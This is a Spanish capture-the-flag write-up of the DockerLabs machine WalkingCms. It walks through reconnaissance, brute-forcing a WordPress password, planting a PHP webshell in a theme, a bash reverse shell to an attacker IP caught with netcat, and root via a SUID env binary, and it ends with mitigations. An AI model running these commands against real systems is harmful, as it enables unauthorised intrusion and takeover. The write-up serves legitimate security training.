Ir al contenido

WalkingCms

En este artículo se documenta la resolución completa de la máquina virtual WalkingCms, creada por El Pingüino de Mario y clasificada como fácil en la plataforma DockerLabs. El objetivo es ofrecer una guía reproducible, estructurada y didáctica, explicando qué se hizo, por qué se realizó cada acción y cómo identificar patrones similares en otros entornos.

El proceso se desarrolla en tres fases:

  1. Reconocimiento – Identificación de servicios expuestos, rutas web y posibles puntos de entrada.
  2. Explotación – Obtención de acceso inicial aprovechando vulnerabilidades en WordPress.
  3. Escalada de privilegios – Abuso de configuraciones inseguras (SUID, cron, sudo) para obtener privilegios de root.

⚠️ Aviso: Todas las acciones descritas se realizaron en un entorno controlado de laboratorio. No ejecutes pruebas intrusivas fuera de entornos autorizados.


AtributoDetalle
NombreWalkingCms
AutorEl Pingüino de Mario
DificultadFácil
Fecha de creación09/04/2024
PlataformaDockerLabs

  1. Descomprimir el paquete descargado desde DockerLabs:

    Ventana de terminal
    unzip WalkingCms.zip
  2. Desplegar el contenedor con el script de instalación:

    Ventana de terminal
    sudo bash auto_deploy.sh WalkingCms.tar

El script levanta automáticamente el contenedor Docker con los servicios necesarios y muestra la IP asignada al finalizar. Guarda esta dirección, ya que se utilizará durante el reconocimiento.


Creamos una estructura de carpetas para mantener orden y evidencia:

Ventana de terminal
mkdir -p WalkingCms/{content,exploits,nmap,scripts}
cd WalkingCms

Consejo: mantener los resultados organizados desde el inicio facilita la documentación y el análisis final.

IP asignada


Ejecutamos un barrido completo de puertos con Nmap:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts

Extraemos los puertos detectados:

Ventana de terminal
extractPorts allPorts

Puertos abiertos

Resultados:

PuertoServicioDescripción
80/tcpHTTPSitio web principal (posible CMS)

Enumeramos rutas y recursos disponibles con Gobuster:

Ventana de terminal
gobuster dir -u http://172.17.0.2/ \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \
-x php,html,txt,js -t 200 -o gobuster.txt

Gobuster

Rutas encontradas:

  • /index.php – Página principal del sitio. Index
  • /wordpress – Instalación activa de WordPress. wordpress

Confirmamos que el servidor ejecuta WordPress, por lo que procedemos con una enumeración de usuarios y plugins usando wpscan:

Ventana de terminal
wpscan --url http://172.17.0.2/wordpress/ --enumerate u,vp

El escaneo revela un usuario válido:

user locate


Con el usuario mario identificado, intentamos un ataque de fuerza bruta utilizando el diccionario rockyou.txt:

Ventana de terminal
wpscan --url http://172.17.0.2/wordpress/ -U mario -P /usr/share/wordlists/rockyou.txt

brute force attack

La herramienta encuentra credenciales válidas de acceso al panel administrativo.


Con las credenciales obtenidas accedemos a wp-admin y aprovechamos la capacidad de subir archivos mediante la edición de temas o plugins.

Subimos una webshell PHP dentro del tema activo (twentytwentytwo), modificando el archivo index.php:

admin dashboard webshell

Desde el navegador ejecutamos la shell con una reverse shell codificada:

http://172.17.0.2/wordpress/wp-content/themes/twentytwentytwo/index.php?cmd=bash -c "bash -i >& /dev/tcp/192.168.1.39/443 0>&1"

En nuestra máquina atacante escuchamos con Netcat:

Ventana de terminal
nc -lvnp 443

Conexión establecida como usuario www-data.


Buscamos binarios con el bit SUID activado:

Ventana de terminal
find / -perm -4000 2>/dev/null

Encontramos que el binario /usr/bin/env tiene el bit SUID activo:

perm 4000

Ejecutamos el siguiente comando para escalar privilegios:

Ventana de terminal
env /bin/sh -p

¡Acceso root conseguido!

root


  1. Enumeración: Descubrimiento de instalación WordPress.
  2. Explotación: Fuerza bruta exitosa sobre credenciales del usuario mario.
  3. Acceso inicial: Carga de una webshell mediante el editor de temas.
  4. Escalada de privilegios: Uso indebido del bit SUID en /usr/bin/env.

  • Credenciales débiles reutilizadas.
  • Permitir la edición de temas desde el panel de WordPress.
  • Binarios con bit SUID activado de forma insegura (env).

  • Implementar contraseñas robustas y rotación periódica.
  • Desactivar la edición de archivos desde el panel de WordPress (DISALLOW_FILE_EDIT en wp-config.php).
  • Revisar y restringir los permisos SUID a los binarios estrictamente necesarios.
  • Actualizar plugins, temas y la versión de WordPress regularmente.